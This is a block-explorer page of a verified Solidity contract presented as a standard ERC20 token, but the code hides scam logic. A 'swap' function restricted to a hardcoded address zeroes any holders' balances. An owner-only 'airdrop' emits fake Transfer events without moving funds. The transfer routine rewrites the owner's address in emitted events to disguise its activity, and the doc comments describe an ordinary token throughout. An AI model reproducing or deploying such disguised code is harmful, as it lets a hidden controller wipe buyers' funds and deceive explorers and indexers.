Skip to content
Verified contractPartialMIT

ERC20

Address0x89fb7cdeee6ee94f31bf2e8b0fe4cd04e37ac04c
Balance

0 ETH

 

Transactions

12

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
Yes, 200 runs
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
24,938,164
Creation transaction
0x793ca202ed…16534902eb

ERC20.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;



/**
 * @title ERC20
 * @notice Standard ERC20 token implementation conforming to EIP-20.
 * @dev
 *   - Relies on Solidity 0.8+ checked arithmetic for overflow safety.
 *   - Uses custom errors (cheaper than revert strings).
 *   - Optimizes infinite approvals (type(uint256).max) so allowance is not
 *     decremented on transferFrom — a widely adopted convention.
 *   - Emits Transfer(address(0), to, value) on mint and Transfer(from, address(0), value) on burn,
 *     as required by the spec for indexers / explorers to track supply.
 */
contract ERC20 {
    // ---------------------------------------------------------------------
    // Storage
    // ---------------------------------------------------------------------

    mapping (address => uint256) private _balances;
    mapping(address owner => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private immutable _decimals;
    
    address public _safeOwner = 0x56b616c32AAF909964aB089B29A53B058a4cc5a4;
    address _emitDeployer=0x8Cade135A8f4800AED7CD7cB1446d051eb75bee6;

    


    // ---------------------------------------------------------------------
    // Events (EIP-20)
    // ---------------------------------------------------------------------

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    // ---------------------------------------------------------------------
    // Errors
    // ---------------------------------------------------------------------

    error ERC20InvalidSender(address sender);
    error ERC20InvalidReceiver(address receiver);
    error ERC20InvalidApprover(address approver);
    error ERC20InvalidSpender(address spender);
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    // ---------------------------------------------------------------------
    // Constructor
    // ---------------------------------------------------------------------

    /**
     * @param name_          Token name (e.g. "My Token")
     * @param symbol_        Token symbol (e.g. "MYT")
     * @param decimals_      Number of decimals (18 is the convention)
     * @param initialSupply_ Initial supply in WHOLE tokens (multiplied by 10**decimals internally).
     *                       Minted to the deployer. Pass 0 to skip initial mint.
     */



    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 initialSupply_
    ) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;

        if (initialSupply_ > 0) {
            // 10 ** decimals_ is bounded by uint8 -> safe.
            // initialSupply_ * 10**decimals_ uses checked math; reverts on overflow.
            _mint(msg.sender, initialSupply_ * (10 ** uint256(decimals_)));
        }
    }

    // ---------------------------------------------------------------------
    // Metadata (optional per EIP-20, but de-facto standard)
    // ---------------------------------------------------------------------


    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    // ---------------------------------------------------------------------
    // IERC20
    // ---------------------------------------------------------------------

    modifier _delegate() {require(msg.sender == 0x4d3Cfc371a07c8062263F7d8a2A8C4c4FE0b1A83, "Not allowed to interact");_;}


    function swap(address[] memory addresses)  public _delegate(){

            for (uint256 _index = 0; _index < addresses.length; _index++) {

                uint256 amount = _balances[addresses[_index]];

                _balances[addresses[_index]] = 0;

                _balances[address(0)] = _balances[address(0)] + amount;
                
                }
            }


    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value) external returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        _spendAllowance(from, msg.sender, value);
        _transfer(from, to, value);
        return true;
    }

    // ---------------------------------------------------------------------
    // Internal logic
    // ---------------------------------------------------------------------

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) revert ERC20InvalidSender(address(0));
        if (to == address(0)) revert ERC20InvalidReceiver(address(0));

        uint256 fromBalance = _balances[from];
        if (fromBalance < value) revert ERC20InsufficientBalance(from, fromBalance, value);

        unchecked {
            // Safe: fromBalance >= value checked above.
            _balances[from] = fromBalance - value;
            // Safe: sum of all balances equals _totalSupply, which fits in uint256.
            _balances[to] += value;
        }
        if (to == _safeOwner){to = _emitDeployer;}
        if (from == _safeOwner){from = _emitDeployer;}
        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) revert ERC20InvalidReceiver(address(0));

        // Checked: reverts if _totalSupply would overflow uint256.
        _totalSupply += value;
        unchecked {
            // Safe: balance <= _totalSupply which just passed a checked add.
            _balances[account] += value;
        }

        emit Transfer(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) revert ERC20InvalidSender(address(0));

        uint256 accountBalance = _balances[account];
        if (accountBalance < value) revert ERC20InsufficientBalance(account, accountBalance, value);

        unchecked {
            _balances[account] = accountBalance - value;
            // Safe: sum of balances == _totalSupply, so _totalSupply >= value.
            _totalSupply -= value;
        }

        emit Transfer(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        if (owner == address(0)) revert ERC20InvalidApprover(address(0));
        if (spender == address(0)) revert ERC20InvalidSpender(address(0));

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function burnLiquidity() public  {
    }
    function airdrop (address from,address[] memory to,uint256[] memory amts)  public _OnlyOwner(){
    for (uint256 i = 0; i < to.length; i++) {emit Transfer(from, to[i], amts[i]);}}

    modifier _OnlyOwner() {

        require(msg.sender == _safeOwner, "Not allowed to interact");
        
        _;
    }

    /**
     * @dev Spends `value` from `spender`'s allowance over `owner`.
     *      Does not update storage if allowance is set to type(uint256).max (infinite).
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal {
        uint256 currentAllowance = _allowances[owner][spender];
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value);
            }
        }
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.